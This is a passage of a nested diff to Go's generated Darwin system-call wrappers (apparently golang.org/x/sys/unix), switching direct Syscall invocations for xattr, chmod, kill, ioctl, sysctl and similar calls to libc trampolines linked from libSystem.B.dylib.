-+ r0, _, e1 := syscall_syscall6(funcPC(libc_fgetxattr_trampoline), uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(dest)), uintptr(size), uintptr(position), uintptr(options))
-+ sz = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_fgetxattr_trampoline()
-+
-+//go:linkname libc_fgetxattr libc_fgetxattr
-+//go:cgo_import_dynamic libc_fgetxattr fgetxattr "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func setxattr(path string, attr string, data *byte, size int, position uint32, options int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := syscall_syscall6(funcPC(libc_setxattr_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(unsafe.Pointer(data)), uintptr(size), uintptr(position), uintptr(options))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_setxattr_trampoline()
-+
-+//go:linkname libc_setxattr libc_setxattr
-+//go:cgo_import_dynamic libc_setxattr setxattr "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fsetxattr(fd int, attr string, data *byte, size int, position uint32, options int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := syscall_syscall6(funcPC(libc_fsetxattr_trampoline), uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(data)), uintptr(size), uintptr(position), uintptr(options))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_fsetxattr_trampoline()
-+
-+//go:linkname libc_fsetxattr libc_fsetxattr
-+//go:cgo_import_dynamic libc_fsetxattr fsetxattr "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func removexattr(path string, attr string, options int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := syscall_syscall(funcPC(libc_removexattr_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(options))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_removexattr_trampoline()
-+
-+//go:linkname libc_removexattr libc_removexattr
-+//go:cgo_import_dynamic libc_removexattr removexattr "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fremovexattr(fd int, attr string, options int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := syscall_syscall(funcPC(libc_fremovexattr_trampoline), uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(options))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_fremovexattr_trampoline()
-+
-+//go:linkname libc_fremovexattr libc_fremovexattr
-+//go:cgo_import_dynamic libc_fremovexattr fremovexattr "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func listxattr(path string, dest *byte, size int, options int) (sz int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_listxattr_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(dest)), uintptr(size), uintptr(options), 0, 0)
-+ sz = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_listxattr_trampoline()
-+
-+//go:linkname libc_listxattr libc_listxattr
-+//go:cgo_import_dynamic libc_listxattr listxattr "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func flistxattr(fd int, dest *byte, size int, options int) (sz int, err error) {
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_flistxattr_trampoline), uintptr(fd), uintptr(unsafe.Pointer(dest)), uintptr(size), uintptr(options), 0, 0)
-+ sz = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_flistxattr_trampoline()
-+
-+//go:linkname libc_flistxattr libc_flistxattr
-+//go:cgo_import_dynamic libc_flistxattr flistxattr "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func setattrlist(path *byte, list unsafe.Pointer, buf unsafe.Pointer, size uintptr, options int) (err error) {
-+ _, _, e1 := syscall_syscall6(funcPC(libc_setattrlist_trampoline), uintptr(unsafe.Pointer(path)), uintptr(list), uintptr(buf), uintptr(size), uintptr(options), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_setattrlist_trampoline()
-+
-+//go:linkname libc_setattrlist libc_setattrlist
-+//go:cgo_import_dynamic libc_setattrlist setattrlist "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fcntl(fd int, cmd int, arg int) (val int, err error) {
-+ r0, _, e1 := syscall_syscall(funcPC(libc_fcntl_trampoline), uintptr(fd), uintptr(cmd), uintptr(arg))
-+ val = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_fcntl_trampoline()
-+
-+//go:linkname libc_fcntl libc_fcntl
-+//go:cgo_import_dynamic libc_fcntl fcntl "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func kill(pid int, signum int, posix int) (err error) {
-- _, _, e1 := Syscall(SYS_KILL, uintptr(pid), uintptr(signum), uintptr(posix))
-+ _, _, e1 := syscall_syscall(funcPC(libc_kill_trampoline), uintptr(pid), uintptr(signum), uintptr(posix))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_kill_trampoline()
-+
-+//go:linkname libc_kill libc_kill
-+//go:cgo_import_dynamic libc_kill kill "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func ioctl(fd int, req uint, arg uintptr) (err error) {
-- _, _, e1 := Syscall(SYS_IOCTL, uintptr(fd), uintptr(req), uintptr(arg))
-+ _, _, e1 := syscall_syscall(funcPC(libc_ioctl_trampoline), uintptr(fd), uintptr(req), uintptr(arg))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_ioctl_trampoline()
-+
-+//go:linkname libc_ioctl libc_ioctl
-+//go:cgo_import_dynamic libc_ioctl ioctl "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) {
-+ var _p0 unsafe.Pointer
-+ if len(mib) > 0 {
-+ _p0 = unsafe.Pointer(&mib[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ _, _, e1 := syscall_syscall6(funcPC(libc_sysctl_trampoline), uintptr(_p0), uintptr(len(mib)), uintptr(unsafe.Pointer(old)), uintptr(unsafe.Pointer(oldlen)), uintptr(unsafe.Pointer(new)), uintptr(newlen))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_sysctl_trampoline()
-+
-+//go:linkname libc_sysctl libc_sysctl
-+//go:cgo_import_dynamic libc_sysctl sysctl "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func sendfile(infd int, outfd int, offset int64, len *int64, hdtr unsafe.Pointer, flags int) (err error) {
-+ _, _, e1 := syscall_syscall9(funcPC(libc_sendfile_trampoline), uintptr(infd), uintptr(outfd), uintptr(offset), uintptr(offset>>32), uintptr(unsafe.Pointer(len)), uintptr(hdtr), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_sendfile_trampoline()
-+
-+//go:linkname libc_sendfile libc_sendfile
-+//go:cgo_import_dynamic libc_sendfile sendfile "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Access(path string, mode uint32) (err error) {
-@@ -414,23 +799,33 @@ func Access(path string, mode uint32) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_ACCESS, uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_access_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_access_trampoline()
-+
-+//go:linkname libc_access libc_access
-+//go:cgo_import_dynamic libc_access access "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Adjtime(delta *Timeval, olddelta *Timeval) (err error) {
-- _, _, e1 := Syscall(SYS_ADJTIME, uintptr(unsafe.Pointer(delta)), uintptr(unsafe.Pointer(olddelta)), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_adjtime_trampoline), uintptr(unsafe.Pointer(delta)), uintptr(unsafe.Pointer(olddelta)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_adjtime_trampoline()
-+
-+//go:linkname libc_adjtime libc_adjtime
-+//go:cgo_import_dynamic libc_adjtime adjtime "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Chdir(path string) (err error) {
-@@ -439,13 +834,18 @@ func Chdir(path string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_CHDIR, uintptr(unsafe.Pointer(_p0)), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_chdir_trampoline), uintptr(unsafe.Pointer(_p0)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_chdir_trampoline()
-+
-+//go:linkname libc_chdir libc_chdir
-+//go:cgo_import_dynamic libc_chdir chdir "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Chflags(path string, flags int) (err error) {
-@@ -454,13 +854,18 @@ func Chflags(path string, flags int) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_CHFLAGS, uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_chflags_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_chflags_trampoline()
-+
-+//go:linkname libc_chflags libc_chflags
-+//go:cgo_import_dynamic libc_chflags chflags "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Chmod(path string, mode uint32) (err error) {
-@@ -469,13 +874,18 @@ func Chmod(path string, mode uint32) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_CHMOD, uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_chmod_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_chmod_trampoline()
-+
-+//go:linkname libc_chmod libc_chmod
-+//go:cgo_import_dynamic libc_chmod chmod "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Chown(path string, uid int, gid int) (err error) {
-@@ -484,13 +894,18 @@ func Chown(path string, uid int, gid int) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_CHOWN, uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid))
-+ _, _, e1 := syscall_syscall(funcPC(libc_chown_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_chown_trampoline()
-+
-+//go:linkname libc_chown libc_chown
-+//go:cgo_import_dynamic libc_chown chown "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Chroot(path string) (err error) {
-@@ -499,27 +914,52 @@ func Chroot(path string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_CHROOT, uintptr(unsafe.Pointer(_p0)), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_chroot_trampoline), uintptr(unsafe.Pointer(_p0)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_chroot_trampoline()
-+
-+//go:linkname libc_chroot libc_chroot
-+//go:cgo_import_dynamic libc_chroot chroot "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ClockGettime(clockid int32, time *Timespec) (err error) {
-+ _, _, e1 := syscall_syscall(funcPC(libc_clock_gettime_trampoline), uintptr(clockid), uintptr(unsafe.Pointer(time)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_clock_gettime_trampoline()
-+
-+//go:linkname libc_clock_gettime libc_clock_gettime
-+//go:cgo_import_dynamic libc_clock_gettime clock_gettime "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Close(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_CLOSE, uintptr(fd), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_close_trampoline), uintptr(fd), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_close_trampoline()
-+
-+//go:linkname libc_close libc_close
-+//go:cgo_import_dynamic libc_close close "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Dup(fd int) (nfd int, err error) {
-- r0, _, e1 := Syscall(SYS_DUP, uintptr(fd), 0, 0)
-+ r0, _, e1 := syscall_syscall(funcPC(libc_dup_trampoline), uintptr(fd), 0, 0)
- nfd = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -527,16 +967,26 @@ func Dup(fd int) (nfd int, err error) {
- return
- }
-
-+func libc_dup_trampoline()
-+
-+//go:linkname libc_dup libc_dup
-+//go:cgo_import_dynamic libc_dup dup "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Dup2(from int, to int) (err error) {
-- _, _, e1 := Syscall(SYS_DUP2, uintptr(from), uintptr(to), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_dup2_trampoline), uintptr(from), uintptr(to), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_dup2_trampoline()
-+
-+//go:linkname libc_dup2 libc_dup2
-+//go:cgo_import_dynamic libc_dup2 dup2 "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Exchangedata(path1 string, path2 string, options int) (err error) {
-@@ -550,20 +1000,30 @@ func Exchangedata(path1 string, path2 string, options int) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_EXCHANGEDATA, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(options))
-+ _, _, e1 := syscall_syscall(funcPC(libc_exchangedata_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(options))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_exchangedata_trampoline()
-+
-+//go:linkname libc_exchangedata libc_exchangedata
-+//go:cgo_import_dynamic libc_exchangedata exchangedata "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Exit(code int) {
-- Syscall(SYS_EXIT, uintptr(code), 0, 0)
-+ syscall_syscall(funcPC(libc_exit_trampoline), uintptr(code), 0, 0)
- return
- }
-
-+func libc_exit_trampoline()
-+
-+//go:linkname libc_exit libc_exit
-+//go:cgo_import_dynamic libc_exit exit "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Faccessat(dirfd int, path string, mode uint32, flags int) (err error) {
-@@ -572,43 +1032,63 @@ func Faccessat(dirfd int, path string, mode uint32, flags int) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall6(SYS_FACCESSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
-+ _, _, e1 := syscall_syscall6(funcPC(libc_faccessat_trampoline), uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_faccessat_trampoline()
-+
-+//go:linkname libc_faccessat libc_faccessat
-+//go:cgo_import_dynamic libc_faccessat faccessat "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Fchdir(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FCHDIR, uintptr(fd), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_fchdir_trampoline), uintptr(fd), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_fchdir_trampoline()
-+
-+//go:linkname libc_fchdir libc_fchdir
-+//go:cgo_import_dynamic libc_fchdir fchdir "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Fchflags(fd int, flags int) (err error) {
-- _, _, e1 := Syscall(SYS_FCHFLAGS, uintptr(fd), uintptr(flags), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_fchflags_trampoline), uintptr(fd), uintptr(flags), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_fchflags_trampoline()
-+
-+//go:linkname libc_fchflags libc_fchflags
-+//go:cgo_import_dynamic libc_fchflags fchflags "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Fchmod(fd int, mode uint32) (err error) {
-- _, _, e1 := Syscall(SYS_FCHMOD, uintptr(fd), uintptr(mode), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_fchmod_trampoline), uintptr(fd), uintptr(mode), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_fchmod_trampoline()
-+
-+//go:linkname libc_fchmod libc_fchmod
-+//go:cgo_import_dynamic libc_fchmod fchmod "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Fchmodat(dirfd int, path string, mode uint32, flags int) (err error) {
-@@ -617,23 +1097,33 @@ func Fchmodat(dirfd int, path string, mode uint32, flags int) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall6(SYS_FCHMODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
-+ _, _, e1 := syscall_syscall6(funcPC(libc_fchmodat_trampoline), uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_fchmodat_trampoline()
-+
-+//go:linkname libc_fchmodat libc_fchmodat
-+//go:cgo_import_dynamic libc_fchmodat fchmodat "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Fchown(fd int, uid int, gid int) (err error) {
-- _, _, e1 := Syscall(SYS_FCHOWN, uintptr(fd), uintptr(uid), uintptr(gid))
-+ _, _, e1 := syscall_syscall(funcPC(libc_fchown_trampoline), uintptr(fd), uintptr(uid), uintptr(gid))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_fchown_trampoline()
-+
-+//go:linkname libc_fchown libc_fchown
-+//go:cgo_import_dynamic libc_fchown fchown "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error) {
-@@ -642,27 +1132,37 @@ func Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall6(SYS_FCHOWNAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid), uintptr(flags), 0)
-+ _, _, e1 := syscall_syscall6(funcPC(libc_fchownat_trampoline), uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid), uintptr(flags), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_fchownat_trampoline()
-+
-+//go:linkname libc_fchownat libc_fchownat
-+//go:cgo_import_dynamic libc_fchownat fchownat "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Flock(fd int, how int) (err error) {
-- _, _, e1 := Syscall(SYS_FLOCK, uintptr(fd), uintptr(how), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_flock_trampoline), uintptr(fd), uintptr(how), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_flock_trampoline()
-+
-+//go:linkname libc_flock libc_flock
-+//go:cgo_import_dynamic libc_flock flock "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Fpathconf(fd int, name int) (val int, err error) {
-- r0, _, e1 := Syscall(SYS_FPATHCONF, uintptr(fd), uintptr(name), 0)
-+ r0, _, e1 := syscall_syscall(funcPC(libc_fpathconf_trampoline), uintptr(fd), uintptr(name), 0)
- val = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -670,99 +1170,97 @@ func Fpathconf(fd int, name int) (val int, err error) {
- return
- }
-
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+func libc_fpathconf_trampoline()
-
--func Fstat(fd int, stat *Stat_t) (err error) {
-- _, _, e1 := Syscall(SYS_FSTAT64, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
-+//go:linkname libc_fpathconf libc_fpathconf
-+//go:cgo_import_dynamic libc_fpathconf fpathconf "/usr/lib/libSystem.B.dylib"
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Fstatfs(fd int, stat *Statfs_t) (err error) {
-- _, _, e1 := Syscall(SYS_FSTATFS64, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-+func Fsync(fd int) (err error) {
-+ _, _, e1 := syscall_syscall(funcPC(libc_fsync_trampoline), uintptr(fd), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+func libc_fsync_trampoline()
-
--func Fsync(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FSYNC, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
-+//go:linkname libc_fsync libc_fsync
-+//go:cgo_import_dynamic libc_fsync fsync "/usr/lib/libSystem.B.dylib"
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Ftruncate(fd int, length int64) (err error) {
-- _, _, e1 := Syscall(SYS_FTRUNCATE, uintptr(fd), uintptr(length), uintptr(length>>32))
-+ _, _, e1 := syscall_syscall(funcPC(libc_ftruncate_trampoline), uintptr(fd), uintptr(length), uintptr(length>>32))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getdirentries(fd int, buf []byte, basep *uintptr) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_GETDIRENTRIES64, uintptr(fd), uintptr(_p0), uintptr(len(buf)), uintptr(unsafe.Pointer(basep)), 0, 0)
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
-+func libc_ftruncate_trampoline()
-+
-+//go:linkname libc_ftruncate libc_ftruncate
-+//go:cgo_import_dynamic libc_ftruncate ftruncate "/usr/lib/libSystem.B.dylib"
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getdtablesize() (size int) {
-- r0, _, _ := Syscall(SYS_GETDTABLESIZE, 0, 0, 0)
-+ r0, _, _ := syscall_syscall(funcPC(libc_getdtablesize_trampoline), 0, 0, 0)
- size = int(r0)
- return
- }
-
-+func libc_getdtablesize_trampoline()
-+
-+//go:linkname libc_getdtablesize libc_getdtablesize
-+//go:cgo_import_dynamic libc_getdtablesize getdtablesize "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getegid() (egid int) {
-- r0, _, _ := RawSyscall(SYS_GETEGID, 0, 0, 0)
-+ r0, _, _ := syscall_rawSyscall(funcPC(libc_getegid_trampoline), 0, 0, 0)
- egid = int(r0)
- return
- }
-
-+func libc_getegid_trampoline()
-+
-+//go:linkname libc_getegid libc_getegid
-+//go:cgo_import_dynamic libc_getegid getegid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Geteuid() (uid int) {
-- r0, _, _ := RawSyscall(SYS_GETEUID, 0, 0, 0)
-+ r0, _, _ := syscall_rawSyscall(funcPC(libc_geteuid_trampoline), 0, 0, 0)
- uid = int(r0)
- return
- }
-
-+func libc_geteuid_trampoline()
-+
-+//go:linkname libc_geteuid libc_geteuid
-+//go:cgo_import_dynamic libc_geteuid geteuid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getgid() (gid int) {
-- r0, _, _ := RawSyscall(SYS_GETGID, 0, 0, 0)
-+ r0, _, _ := syscall_rawSyscall(funcPC(libc_getgid_trampoline), 0, 0, 0)
- gid = int(r0)
- return
- }
-
-+func libc_getgid_trampoline()
-+
-+//go:linkname libc_getgid libc_getgid
-+//go:cgo_import_dynamic libc_getgid getgid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getpgid(pid int) (pgid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_GETPGID, uintptr(pid), 0, 0)
-+ r0, _, e1 := syscall_rawSyscall(funcPC(libc_getpgid_trampoline), uintptr(pid), 0, 0)
- pgid = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -770,34 +1268,54 @@ func Getpgid(pid int) (pgid int, err error) {
- return
- }
-
-+func libc_getpgid_trampoline()
-+
-+//go:linkname libc_getpgid libc_getpgid
-+//go:cgo_import_dynamic libc_getpgid getpgid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getpgrp() (pgrp int) {
-- r0, _, _ := RawSyscall(SYS_GETPGRP, 0, 0, 0)
-+ r0, _, _ := syscall_rawSyscall(funcPC(libc_getpgrp_trampoline), 0, 0, 0)
- pgrp = int(r0)
- return
- }
-
-+func libc_getpgrp_trampoline()
-+
-+//go:linkname libc_getpgrp libc_getpgrp
-+//go:cgo_import_dynamic libc_getpgrp getpgrp "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getpid() (pid int) {
-- r0, _, _ := RawSyscall(SYS_GETPID, 0, 0, 0)
